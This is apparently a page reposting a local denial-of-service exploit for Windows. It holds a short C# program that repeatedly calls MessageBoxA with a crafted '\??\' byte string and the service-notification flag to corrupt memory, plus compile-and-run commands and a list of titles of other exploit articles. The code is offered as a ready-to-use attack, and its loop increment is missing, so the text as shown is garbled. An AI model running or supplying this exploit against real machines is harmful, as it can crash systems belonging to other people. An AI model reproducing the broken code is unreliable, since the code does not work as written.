// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i )
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe//http://www.leftworld.net
【MS Windows (MessageBox) Memory Corruption Local Denial of Service】相关文章:
★ Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit
★ Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit
★ Adobe Acrobat 9 ActiveX Remote Denial of Service Exploit
★ MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption
★ Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit
★ HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities
★ TGS CMS 0.3.2r2 Remote Code Execution Exploit
★ Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability
★ MS Windows (.doc File) Malformed Pointers Denial of Service Exploit
★ BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service